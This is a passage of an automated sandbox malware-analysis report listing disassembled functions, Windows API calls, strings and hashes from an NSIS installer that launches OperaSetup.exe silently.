lstrcatW.KERNEL32(00000000,00000000,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,004C5000,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00000000,00000000,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,004C5000,?,?,00000031), ref: 004017FA

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

Part of subcall function 00405727: lstrlenW.KERNEL32(0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(0043A728,004030CD,004030CD,0043A728,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(0043A728,0043A728), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Strings

"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 004017B2, 004017BB, 004017C8, 004017DA, 004017E6, 0040181C, 00401832, 00401850, 0040188C, 0040190D, 00401916, 00401920, 0040192B

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
API String ID: 1941528284-3663954162
Opcode ID: abfc48dbde18ea0f61bdba3ff75caee9a5c96404e809a9cb74966422e51516d8
Instruction ID: 9f42f1e7eaebfaebc1b2313fce90f35831c5a59d22c64b0766d7391dfec550b2
Opcode Fuzzy Hash: abfc48dbde18ea0f61bdba3ff75caee9a5c96404e809a9cb74966422e51516d8
Instruction Fuzzy Hash: 0541D771800114BACF117BB5CD85DAE3679EF45368B21863FF422F11E1D73D8AA19A2D

Function 00406A26 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406A3D
wsprintfW.USER32 ref: 00406A78
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A8C

Strings

UXTHEME, xrefs: 00406A2F
%s%S.dll, xrefs: 00406A72

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: bea2c3dfad6db3553b24c87bd1a60070de232aee380c5cee9c100d0800ee2260
Instruction ID: 2c328a31db22aac531adf2f34800fe5ee0562984a44f040f64af452ff7173633
Opcode Fuzzy Hash: bea2c3dfad6db3553b24c87bd1a60070de232aee380c5cee9c100d0800ee2260
Instruction Fuzzy Hash: 36F0FC3060011967CF14BB64DD0EF9B375C9B01704F10847AA546F10D0EB789668CF98

Function 0040349E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004034B2

Part of subcall function 0040361D: SetFilePointer.KERNEL32(00000000,00000000,00000000,0040331B,?), ref: 0040362B

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,004033C8,00000004,00000000,00000000,?,?,00403342,000000FF,00000000,00000000,00008001,?), ref: 004034E5
SetFilePointer.KERNEL32(00045AA4,00000000,00000000,004266F0,00004000,?,00000000,004033C8,00000004,00000000,00000000,?,?,00403342,000000FF,00000000), ref: 004035E0

Strings

hA, xrefs: 00403569

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: hA
API String ID: 1092082344-2144240161
Opcode ID: e11cf52a2002a60f9caf7e4f5257b2a9e139536fe8b899a245e26a0cd04ca586
Instruction ID: a6cc621958e3896f8f0562ac50284c64eb2e0996e34cc3673b0accbb5e92da07
Opcode Fuzzy Hash: e11cf52a2002a60f9caf7e4f5257b2a9e139536fe8b899a245e26a0cd04ca586
Instruction Fuzzy Hash: C231D076504201EFDB209F6AFE419663FACF720356B85823FF901A22F0CB749901AB1D

Function 00406079 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

Part of subcall function 0040601C: CharNextW.USER32(?,?,00456750,?,00406090,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 0040602A
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 0040602F
Part of subcall function 0040601C: CharNextW.USER32(00000000), ref: 00406047

lstrlenW.KERNEL32(00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0,004BD000), ref: 004060D2
GetFileAttributesW.KERNEL32(00456750,00456750,00456750,00456750,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 004060E2

Strings

PgE, xrefs: 0040607F

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: PgE
API String ID: 3248276644-3220684765
Opcode ID: b320ac714881839a993191b9b67f373f4f0dd5a8269bf5d6f48fcd2d5b08a690
Instruction ID: 4bebfd15c2bd202af51862231bcf25e973859f7a9abf5f27d8efd0e3f4a0fce5
Opcode Fuzzy Hash: b320ac714881839a993191b9b67f373f4f0dd5a8269bf5d6f48fcd2d5b08a690
Instruction Fuzzy Hash: 21F07835084A6259E622B7360C05AAF25098F8232470B423FFC43B22C1DF3D8973D17E

Function 004061C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004061DF
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403663,004CD000,004D1000,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F), ref: 004061FA

Strings

nsa, xrefs: 004061CE

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: ca4f867381b256d976a036b4ee2479ffffcb38332db50c9e5a73bf50e74bc53e
Instruction ID: f348173cd445ce0cff63ab1922c44f7ab34be52ec2d52f6d3f60174017d9ed76
Opcode Fuzzy Hash: ca4f867381b256d976a036b4ee2479ffffcb38332db50c9e5a73bf50e74bc53e
Instruction Fuzzy Hash: 3BF06D76701204BBEB109B59DD05E9AB7A8EBA1710F11803EEA01A6240E6B099648764

Function 004071F5 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8001648312b76757b4dc2f3646509216fc345bf83ee85411accbee75f523ad1d
Instruction ID: 24c32228aea39238aae05165091b6f794a4b9b1c66cd55bc1afee76a19a4bada
Opcode Fuzzy Hash: 8001648312b76757b4dc2f3646509216fc345bf83ee85411accbee75f523ad1d
Instruction Fuzzy Hash: 10A14471E04228DBDF28CFA8C8446ADBBB1FF44305F14856ED856BB281C7786A86DF45

Function 004073F6 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2384488d3f0122d52eec19d06177794e899fdfc3e1a025a719282f78321e7206
Instruction ID: b8cb9ce97df986fef79018f719ec18ee870a51f75f9c549f23c9243a2682c43e
Opcode Fuzzy Hash: 2384488d3f0122d52eec19d06177794e899fdfc3e1a025a719282f78321e7206
Instruction Fuzzy Hash: 48912370D04228CBDF28CF98C8947ADBBB1FF44305F14856AD856BB291C778A986DF45

Function 0040710C Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b0d047e0c308e0b5114cd8a4e3873cb63df72f9853a9642e586e78b8cecf79
Instruction ID: 4da454054b0c3dd02772a9c96e50ae6a11cdbe5b18e0bc5540401a1e7d1606fc
Opcode Fuzzy Hash: 27b0d047e0c308e0b5114cd8a4e3873cb63df72f9853a9642e586e78b8cecf79
Instruction Fuzzy Hash: E4813471D04228DBDF24CFA8C8847ADBBB1FF45305F24816AD456BB281C778AA86DF45

Function 00406C11 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f111ab4920ac525fdea371edc0372209efebd88f4f49b64d61f26737748280a
Instruction ID: a75c210e76fb72c91da92bd055febaaadf45c37f1dc492509737fdaa257f63d6
Opcode Fuzzy Hash: 4f111ab4920ac525fdea371edc0372209efebd88f4f49b64d61f26737748280a
Instruction Fuzzy Hash: 2D817731D04228DBDF24CFA8C844BADBBB1FF44315F20856AD856BB281C7796A86DF45

Function 0040705F Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6308170f34cf48dfcb4d8f9c09bb4bb9b1200d68288f83770d90fe7aa59a96
Instruction ID: 2ce83fc52b21f36f835e1fdafd5cf74e6ced0850754c4da96a209bb8fab2d9ce
Opcode Fuzzy Hash: eb6308170f34cf48dfcb4d8f9c09bb4bb9b1200d68288f83770d90fe7aa59a96
Instruction Fuzzy Hash: 11712471D04228DBDF28CFA8C8847ADBBB1FF48305F15806AD856B7281C778A986DF55

Function 0040717D Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35efb6cfb69a5e3ac5770c17f23e35896c35ba4500d931508133f68803cc17e7
Instruction ID: eaca5e257ecba6057ed761995cb39389c4d8ec983a179070fe5d03b82c062b57
Opcode Fuzzy Hash: 35efb6cfb69a5e3ac5770c17f23e35896c35ba4500d931508133f68803cc17e7
Instruction Fuzzy Hash: BF713671E04218DBDF28CFA8C884BADBBB1FF44305F14806AD856BB281C7786986DF55

Function 004070C9 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7222321010e346b35687484556753c48e929d86f13e87db132154ce9d598b8
Instruction ID: 26522df2f7fda751442351ae768cbf4c3b612a3e7fb567ef5040218afec9c9a0
Opcode Fuzzy Hash: 3a7222321010e346b35687484556753c48e929d86f13e87db132154ce9d598b8
Instruction Fuzzy Hash: CB713771D04228DBEF28CF98C8447ADBBB1FF44305F15806AD856B7281C778A946DF45

Function 004020FD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 00402128

Part of subcall function 00405727: lstrlenW.KERNEL32(0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,0043A728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(0043A728,004030CD,004030CD,0043A728,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(0043A728,0043A728), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402139
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004021B6

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: bd5665d3c642ef3073feb2242ea4fac62aded45c66893f7ea3efa05918624785
Instruction ID: ce338c56279ea8fe8b79aec8352296299df23ba62fb37657eb23f857ac8d175a
Opcode Fuzzy Hash: bd5665d3c642ef3073feb2242ea4fac62aded45c66893f7ea3efa05918624785
Instruction Fuzzy Hash: 9721D431900104EADF10AFA5CF89A9E7A71BF54355F30413BF501B91E5CBBD89829A2E

Function 00401BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(00861CF8), ref: 00401C30
GlobalAlloc.KERNEL32(00000040,00004004), ref: 00401C42

Strings

"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 00401BE7, 00401BED, 00401C07

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Global$AllocFree
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0
API String ID: 3394109436-3663954162
Opcode ID: 5a5a1ee5ed13d0feaabbf874524b486d37df7d8f4895048c82ffb873ba65e8fb
Instruction ID: 411326a6bd5adc799c7b4966fae4248b5e735fb78bdcb674ef76145c70810545
Opcode Fuzzy Hash: 5a5a1ee5ed13d0feaabbf874524b486d37df7d8f4895048c82ffb873ba65e8fb
Instruction Fuzzy Hash: 7D210572A04150ABEB20EFA5DD9599E73A8AF14314714483FFA52F36D0C67C9C908B1D

Function 00405D66 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040616D: GetFileAttributesW.KERNEL32(?,?,00405D72,?,?,00000000,00405F48,?,?,?,?), ref: 00406172
Part of subcall function 0040616D: SetFileAttributesW.KERNEL32(?,00000000), ref: 00406186

RemoveDirectoryW.KERNEL32(?,?,?,00000000,00405F48), ref: 00405D81
DeleteFileW.KERNEL32(?,?,?,00000000,00405F48), ref: 00405D89
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405DA1

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: dd2cb9d4d09abd673c60ba1604a9489d115b5ba734863609cc63878b625e133a
Instruction ID: 230036c29a26c5c6c0f0d9698206584c8b05a9663c1b6bdb31d330f7893cafd1
Opcode Fuzzy Hash: dd2cb9d4d09abd673c60ba1604a9489d115b5ba734863609cc63878b625e133a
Instruction Fuzzy Hash: A6E065312156915AC35057759E0CA6B2A98DFC6724F15893BF892F11D0CB7C884A8A6D

Function 00403396 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00008001,00000000,00000000,00000000,00000000,?,?,00403342,000000FF,00000000,00000000,00008001,?), ref: 004033BB

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
